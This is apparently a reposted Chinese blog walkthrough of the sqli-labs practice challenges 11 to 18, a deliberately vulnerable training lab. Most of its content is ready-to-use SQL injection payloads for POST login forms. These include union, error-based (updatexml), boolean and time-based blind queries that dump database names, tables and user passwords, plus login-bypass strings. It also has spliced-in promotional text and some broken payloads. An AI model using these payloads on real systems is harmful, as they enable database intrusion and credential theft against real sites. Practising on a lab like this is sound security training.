Sqli-labs闯关题11-20题,详细解答。

Less-11:POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

从这一关开始,我们就接触到了一种新的数据提交方式:post,它主要指的是数据从客户端提交到服务端。和之前的get方式有一些类似。

首先还是要进行注入类型的判断:

uname=admin' and 1=1# &passwd=admin&submit=Submit

(注意:注释符不能再用--+或者--空格,只能用#,因为前者是在url中使用的)

我们发现结果正确,说明这个是字符型注入。

 我们来验证一下是否存在漏洞:

uname=admin' or 1=1# &passwd=admin&submit=Submit

扫描二维码关注公众号,回复: 9428613 查看本文章

(居然把用户名和密码搞出来了,当然假设我们不知道)

uname=admin' &passwd=admin&submit=Submit

 所以坑定存在注入漏洞。

接下来我步骤相信都很熟悉了:查找显位,爆数据库名,爆表,爆列名,爆数据。

 接下来我们使用联合查询语句 union select来进行爆破,使用 union select的时候要注意,输入的uname必须是一个不存在的,否则将会输出不出来

我们先来查看一下显位:uname=a&passwd=a' order by 3#&submit=Submit

(uname=admin' order by 3#&passwd=admin&submit=Submit)

 uname=admin'  union select 1,2#&passwd=admin&submit=Submit

 接下来我们进行爆库:uname=a&passwd=a' union select 1,(select group_concat(schema_name)from information_schema.schemata) #&submit=Submit

 让我们来查看一下当前的数据库:uname=a&passwd=a' union select 1,database() #&submit=Submit

 爆表:uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#&passwd=1&submit=Submit

 爆列:找出用户密码所在位,因为我们没有指定数据库,所以他把所有数据库里面的users表的列名全都列出来,加上and table_schema=database()就可以指定该数据库,注意users旁边要加引号,不加会出错.

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#&passwd=1

 爆用户密码:uname=1' union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&passwd=1

uname=a&passwd=a' union select 1,(select group_concat(concat_ws('-',username,password))from security.users) #&submit=Submit)

 

 第十二关:和十一关差不多,只有数据的包裹形式不同:uname=a&passwd=a")密码爆破 或者uname=admin")就是把单引号闭合换成双引号变形闭合就可以啦

第十三关:

我们发现无论输入结果正确还是错误,都没有回显,这就和我们五关所遇到情况一样,那样我们就确定是布尔型盲注了。经过验证,还是单引号闭合型  :(‘’)进行闭合

 

判断数据库的长度为8,(时间延迟型注入):uname=admin') and if(length(database())=8,1,sleep(5)) #&passwd=admin&submit=Submit

 爆用户名和密码

 好了,在这里我就不多说了,第五关都有详细的介绍,无论是盲注二分法,还是时间延时型注入。只需要把首尾注释符号改变一下就行了!

第十四关:只是把单引号变成双引号:(“”) 

详细过程就不在说了。

 爆出数据:uname=admin" and left((select password from users order by id limit 0,1),4)="dumb"#&passwd=admin&submit=Submit

 第十五关:将数据包裹格式改为:‘’

 爆出账户密码;

1. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度

2. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a

3. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g

4. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

第十六关:将数据包裹格式改为:(“”)

爆用户名和密码;

用户名只要写成admin“)#  户名密码( 万能密码),没有密码也可以进。

第十七关:

经过试验,我们发现常见的数据包裹形式都不可以,那可怎么办呐?

代码中使用了get_magic_quotes_gpc name和password分开验证,我发现这关对username做了很严格的过滤,对各种引号括号进行了转义,所以只能在password处注入。

经过试验发现布尔型盲注和时间盲注都不可行,那么就只能进行报错型注入了,使用updatexml():

查找当前数据库:

uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

查用户密码信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

 注意:这里之所以使用两层select,是因为会出现报错:

 意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

第十八关

在这一关中 ,完善了上一关对password的转义和过滤。所以这一关我们就要借助burp抓包神器了。

登陆成功:显示ip地址和浏览器版本信息     登陆失败:只显示ip地址

猜你喜欢

转载自www.cnblogs.com/li2019/p/12363729.html